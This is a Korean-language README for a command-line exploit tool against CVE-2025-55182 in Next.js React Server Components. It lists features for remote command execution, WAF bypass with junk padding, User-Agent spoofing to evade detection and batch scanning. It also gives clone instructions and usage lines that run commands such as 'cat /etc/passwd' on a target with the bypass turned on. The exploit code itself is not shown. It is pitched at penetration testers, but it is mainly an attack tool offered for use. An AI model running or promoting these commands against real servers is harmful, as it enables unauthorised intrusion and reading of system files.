
Next.js React Server Components의 CVE-2025-55182를 위한 자동화된 익스플로잇 도구입니다. 내장된 WAF 우회, 사용자 지정 헤더, 그리고 침투 테스트를 위한 배치 스캔 기능을 통해 원격 명령 실행이 가능합니다.
Next.js React Server Components의 CVE-2025-55182 취약점을 탐지하고 악용하기 위한 강력한 익스플로잇 도구입니다. 이 도구는 취약한 Next.js 애플리케이션에서 원격 명령 실행(RCE)을 가능하게 하며, 내장된 WAF 우회 기능을 제공합니다.

CVE-2025-55182는 Next.js React Server Components의 심각한 취약점으로, 원격 공격자가 취약한 서버에서 임의의 명령을 실행할 수 있게 합니다. 이 도구는 이러한 취약점을 자동으로 탐지하고 악용하는 방법을 제공합니다.
원격 명령 실행: 취약한 Next.js 서버에서 임의의 명령 실행
WAF 우회: 구성 가능한 정크 데이터를 사용한 내장 웹 애플리케이션 방화벽 우회
사용자 지정 헤더 지원: 인증 또는 기타 목적을 위한 사용자 정의 HTTP 헤더 추가
유연한 대상 지정: 단일 대상 및 배치 스캔 지원
다중 프로토콜 지원: 자동 HTTPS/HTTP 감지 및 처리
사용자 지정 타임아웃: 다양한 네트워크 환경에 대응하는 구성 가능한 요청 타임아웃
SSL 검증 제어: SSL 인증서 검증 비활성화 옵션
사용자 지정 User-Agent: 탐지를 피하기 위한 User-Agent 스푸핑
# Clone the repository
git clone https://github.com/Dh4v4l8/CVE-2025-55182-poc-tool.git
cd CVE-2025-55182-poc-tool
# Make the script executable
chmod +x exploit.sh
# Test the installation
./exploit.sh -h
이 도구는 여러 명령줄 옵션을 제공하여 연구자들이 요청을 사용자 정의하거나 트래픽을 시뮬레이션하거나 필터링 계층을 테스트할 수 있도록 합니다.
Usage: ./exploit.sh [OPTIONS]
Options:
-d, --domain Target domain/URL (default: http://localhost:3000)
If no protocol specified, defaults to https://
-c, --command Command to execute (default: id)
-w, --waf-bypass Enable WAF bypass with junk data (default: 128KB)
--waf-size SIZE WAF bypass data size in KB (default: 128)
--timeout SECONDS Request timeout in seconds (default: 15)
-k, --insecure Disable SSL certificate verification
--user-agent AGENT Custom User-Agent string
-h, --help Show this help message
# Check if target is vulnerable with default command
./exploit.sh -d https://target.com
# Execute custom command
./exploit.sh -d https://target.com -c "whoami"
# Read system files
./exploit.sh -d https://target.com -c "cat /etc/passwd"
# Enable WAF bypass
./exploit.sh -d https://target.com -c "ls -la" -w
# Custom WAF bypass size (256KB)
./exploit.sh -d https://target.com -c "cat /etc/passwd" -w --waf-size 256
# Disable SSL verification
./exploit.sh -d https://target.com -c "id" -k
# Custom timeout
./exploit.sh -d https://target.com -c "ping -c 3 google.com" --timeout 30
# Custom User-Agent
./exploit.sh -d https://target.com -c "id" --user-agent "CustomScanner/1.0"